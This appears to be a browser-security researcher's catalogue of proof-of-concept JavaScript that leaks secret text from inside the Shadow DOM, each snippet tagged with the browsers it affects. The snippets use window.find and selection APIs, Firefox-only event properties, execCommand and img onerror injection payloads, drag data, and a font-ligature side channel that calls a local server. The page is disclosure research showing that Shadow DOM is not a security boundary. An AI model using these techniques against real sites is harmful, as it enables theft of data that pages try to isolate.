This document lists JavaScript APIs to which encapsulation by the Shadow DOM does not apply. It does not include APIs that allow access by explicitly passing a ShadowRoot, such as getHTML(). The list includes only cases where at least the text content placed in the Shadow DOM can be leaked.
The purpose of this document is to show that Shadow DOM encapsulation is not perfect, especially that it should not be used as a security boundary. (Shadow DOM is not a security feature.) Please also refer to my slides from Shibuya.XSS techtalk #13: (English:Shadow DOM & Security - Exploring the boundary between light and shadow / 日本語: Shadow DOMとセキュリティ - 光と影の境界を探る).
The following PoCs show that encapsulation is broken by the fact that JavaScript executed outside the Shadow DOM can access the secret text (deadbeef) placed inside. You can test the leaks by executing the JavaScript code listed below from the browser's developer console on this test page.
If you find an interesting way to leak the text, let me know! :)
window.find('This is a secret:'); // for selecting string placed in Shadow area without user interaction
node = getSelection().anchorNode;
root = node.getRootNode();
if(root instanceof ShadowRoot){
alert(root.querySelector('#secret').textContent);
}DOM node-level access
Firefox
window.find('This is a secret:'); // for selecting string placed in Shadow area without user interaction
node = getSelection().focusNode;
root = node.getRootNode();
if(root instanceof ShadowRoot){
alert(root.querySelector('#secret').textContent);
}DOM node-level access
Firefox
window.find('This is a secret:'); // for selecting string placed in Shadow area without user interaction
node = getSelection().getRangeAt(0).commonAncestorContainer;// or startContainer or endContainer
root = node.getRootNode();
if(root instanceof ShadowRoot){
alert(root.querySelector('#secret').textContent);
}DOM node-level access
Firefox
// For Chrome / Firefox
window.find('This is a secret:'); // for selecting string placed in Shadow area without user interaction
document.execCommand('selectAll');// Maximize the selection range
alert(getSelection().toString());// For Safari
// Click Shadow area
window.onclick = function(event) {
if (event.target === shost && window.find("Shadow DOM", false, true) || window.find("contenteditable", false, false)) {
window.find('This is a secret:', false, true);
window.find('This is a secret:', false, false);
document.execCommand('selectAll');
alert(getSelection().toString());
}
}text access
Chrome, Firefox, Safari
To reproduce this on Safari, focus must be set to an element inside the Shadow DOM before executing window.find().
// For Chrome / Firefox
result = [];
prefix = 'This is a secret: ';
chars = 'abcdef';
secretLength = 8;
while (result.length !== secretLength) {
for (i = 0; i < chars.length; i++) {
char = chars[i];
if (window.find(`${prefix}${char}`)) {
result.push(char);
prefix += char;
window.getSelection().removeAllRanges();
}
}
}
alert(result.join(''));// For Safari
// Click Shadow area
window.onclick = function(event) {
if (event.target === shost && window.find("Shadow DOM", false, true) || window.find("contenteditable", false, false)) {
result = [];
prefix = 'This is a secret: ';
chars = 'abcdef';
secretLength = 8;
while (result.length !== secretLength) {
for (i = 0; i < chars.length; i++) {
char = chars[i];
if (window.find(`${prefix}${char}`, false, false) || window.find(`${prefix}${char}`, false, true)) {
result.push(char);
prefix += char;
window.find("Shadow DOM", false, true);
}
}
}
alert(result.join(''));
}
}text access
Chrome, Firefox, Safari
- To reproduce this on Safari, focus must be set to an element inside the Shadow DOM before executing
window.find().
window.find('contenteditable area'); // for selecting string placed in Shadow area without user interaction
document.execCommand('insertHTML',false,'<iframe onload=alert(getRootNode().querySelector("#secret").textContent)>');DOM node-level access
Chrome, Firefox, Safari
- To reproduce this on Safari, focus must be set to an element inside the Shadow DOM before executing
window.find(). - Additionally, Safari adds HTML inside the shadow but performs HTML sanitization, so the DOM node-level access is only possible if the bypass succeeds. The above PoC can not bypass the sanitization.
//Put mouse cursor on Shadow area
window.onmousemove = function(event){
elem = event.originalTarget;
root = elem.getRootNode();
if(root instanceof ShadowRoot){
alert(root.querySelector('#secret').textContent);
}
}DOM node-level access
Firefox
// Put mouse cursor on Shadow area
window.onmousemove = function(event){
elem = event.explicitOriginalTarget;
root = elem.getRootNode();
if(root instanceof ShadowRoot){
alert(root.querySelector('#secret').textContent);
}
}DOM node-level access
Firefox
// Put mouse cursor on Shadow area
window.onmousemove = function(event){
elem = event.rangeParent;
root = elem.getRootNode();
if(root instanceof ShadowRoot){
alert(root.querySelector('#secret').textContent);
}
}DOM node-level access
Firefox
// Drag something placed in Shadow area
window.ondrag = function(event){
node = event.dataTransfer.mozSourceNode;
root = node.getRootNode();
if(root instanceof ShadowRoot){
alert(root.querySelector('#secret').textContent);
}
}DOM node-level access
Firefox
// for Chrome / Firefox
// Drag selected Shadow area. Leaks also occur in Safari if you manually select and drag the secret text
window.find('This is a secret:');
document.execCommand('selectAll');
window.ondragstart = function(event){
alert(event.dataTransfer.getData('text'));
}text access, attribute value access
Chrome, Firefox, Safari
getData('text/html')can leak not only text but also attribute values.
// Type something into the contenteditable area inside Shadow area
window.onbeforeinput = (event) => {
targetRanges = event.getTargetRanges();
node = targetRanges[0].endContainer;// or startContainer
root = node.getRootNode();
if(root instanceof ShadowRoot){
alert(root.querySelector('#secret').textContent);
}
}DOM node-level access
Chrome, Firefox, Safari
img=document.createElement('img');
img.src='#';
img.style="font-size:50px";
img.alt="Drag & drop me to contenteditable area!";
img.setAttribute('onerror','root=getRootNode();if(root instanceof ShadowRoot){alert(root.querySelector("#secret").textContent);}');
document.body.appendChild(img);DOM node-level access
Firefox
- While this isn't a JavaScript API issue, it's worth mentioning.
- Chrome and Safari sanitize the dragged HTML when dropped.
// PoC demonstrating that SecurityMB's font-based leak technique can be applied to Shadow DOM
// https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/
// Before trying:
// 1. Visit my repository: https://github.com/masatokinugawa/PoCs/tree/main/LavaDome/font-ligatures
// 2. Download them locally
// 3. Execute `npm install` and `node index.js`
// Note: This PoC is tested on Chrome and Firefox
const secretChars = "abcdef";
const prefix = "This is a secret: ";
let index = 0;
let foundChars = "";
const style = document.createElement('style');
document.body.appendChild(style);
style.innerHTML = "#shost {font-family:hack;font-size:300px;}";
const defaultWidth = document.body.scrollWidth;
const loadFont = target => {
const font = new FontFace("hack", `url(http://localhost:3000/?target=${encodeURIComponent(target)})`);
font.load().then(() => {
document.fonts.add(font);
if (defaultWidth < document.body.scrollWidth) {
foundChars += secretChars[index];
console.log(`Found: ${foundChars}`);
index = 0;
} else {
index++;
}
if (foundChars.length === 8) {
alert(foundChars);
} else {
loadFont(`${prefix}${foundChars}${secretChars[index]}`);
}
});
};
loadFont(`${prefix}${secretChars[index]}`);text access
Chrome, Firefox, Safari
- While this isn't a JavaScript API issue, it's worth mentioning.
- Inherited properties from the Light DOM are applied to the Shadow DOM. This means that CSS-based attacks, such as those exploiting ligature fonts, is still possible.
- Unlike other leaks, this behavior (inheritance) is spec'd.